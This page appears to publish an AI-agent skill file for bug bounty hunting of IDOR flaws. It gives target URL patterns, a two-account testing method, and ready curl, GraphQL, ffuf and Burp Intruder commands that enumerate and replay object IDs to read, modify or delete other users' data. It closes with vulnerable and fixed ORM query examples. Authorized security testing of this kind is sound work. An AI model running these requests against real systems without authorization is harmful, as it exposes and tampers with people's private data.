hunt-idor skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunting skill for idor vulnerabilities. Built from 26 public bug bounty reports. Use when hunting idor on any target.

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Install the hunt-idor skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-idor ~/.claude/skills/hunt-idor

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

Crown Jewel Targets

Why IDOR pays big:

Direct access to other users' data without authentication bypass — clear, demonstrable impact
Chains easily with privilege escalation, financial fraud, and account takeover
Affects virtually every application with user-owned resources

Highest-value asset types (by payout potential):

Programs that pay most for IDOR:

Platforms with multi-tenancy (SaaS, B2B tools)
Fintech and payment processors
Social platforms with private content
Developer tools with org/repo isolation

Attack Surface Signals

URL patterns that scream IDOR:

/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy

Response header signals:

Content-Type: application/json on endpoints accepting raw IDs
No X-Frame-Options or CORS misconfigs paired with ID params
Authorization: Bearer tokens that are user-scoped but hit org-level resources

JavaScript source patterns:

// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId

Tech stack signals:

GraphQL endpoints (query-based IDORs are often missed)
REST APIs with sequential integer IDs (most vulnerable)
UUIDs that are predictable or leaked in other responses
Multi-tenant SaaS apps with orgid, accountid, business_id params
Mobile apps (Burp the APK — mobile APIs often skip authorization checks)

Step-by-Step Hunting Methodology

Map all object references in the application

Browse every feature authenticated as User A
Capture all requests in Burp Suite
Filter for requests containing: id=, _id=, uuid=, /v1/{noun}/{id}, query params with numeric/UUID values

Enumerate ID types

Sequential integers → enumerate ±1, ±100
UUIDs → check if they appear in other responses or JS files
Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection

Create two separate accounts (same privilege level)

User A: resource owner
User B: attacker account
Log all IDs belonging to User A while authenticated as User A

Replay User A's resource IDs as User B

Replace session cookie/token with User B's credentials
Send identical requests referencing User A's object IDs
Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint

Test cross-tenant/cross-org scenarios

Create accounts in separate organizations/businesses
Test if Org B's session can reference Org A's IDs
Pay special attention to admin/management endpoints

Test GraphQL specifically

Run introspection: { __schema { queryType { fields { name } } } }
For every query/mutation taking an id argument, substitute another user's ID
Test both queries (read) and mutations (write/delete)

Test write/destructive operations, not just reads

Can User B DELETE User A's resources?
Can User B MODIFY User A's content?
Can User B ADD themselves to User A's account?

Chain IDORs together

Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
IDOR → leaked ID → second IDOR → privilege escalation

Test state-changing edge cases

Expired tokens/invites that can still be accepted
Race conditions on resource IDs
Indirect references: ?sort=id or ?filter[user_id]=

Document the exact differential

Confirm User B has NO legitimate access to User A's resource
Screenshot/log the 200 OK vs expected 403/404

Payload & Detection Patterns

Basic IDOR test with curl (swap cookie/token):

# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
  https://target.com/api/v1/invoices/12345

# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
  https://target.com/api/v1/invoices/12345

# Success = 200 OK with User A's data

GraphQL IDOR test:

curl -s -X POST https://target.com/graphql \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'

Enumerate sequential IDs with ffuf:

ffuf -u "https://target.com/api/v1/orders/FUZZ" \
  -w ids.txt \
  -H "Authorization: Bearer USER_B_TOKEN" \
  -mc 200 \
  -o idor_results.json

Generate sequential ID wordlist:

# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
    for i in range(known_id - 500, known_id + 500):
        f.write(str(i) + "\n")

Burp Intruder payload for IDOR scanning:

GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN

# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200

JavaScript scraping for leaked IDs:

# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u

# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
  https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"

Grep patterns for source code review:

# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .

# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })

IDOR via HTTP method tampering:

# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
  echo "=== $method ==="
  curl -s -X $method \
    -H "Authorization: Bearer USER_B_TOKEN" \
    https://target.com/api/v1/users/USER_A_ID/profile
done

Common Root Causes

Missing ownership check in ORM queries

// VULNERABLE: fetches any record
   const invoice = await Invoice.findById(req.params.id);
   
   // SECURE: scopes to authenticated user
   const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id });

Authorization at the route level, not object level

Developer checks "is user logged in?" but not "does this user own this object?"
Middleware confirms authentication; individual handlers skip ownership validation

Trusting client-supplied IDs in request bodies

Mobile apps or SPAs send org_id in POST body; server uses it directly without verifying caller belongs to that org

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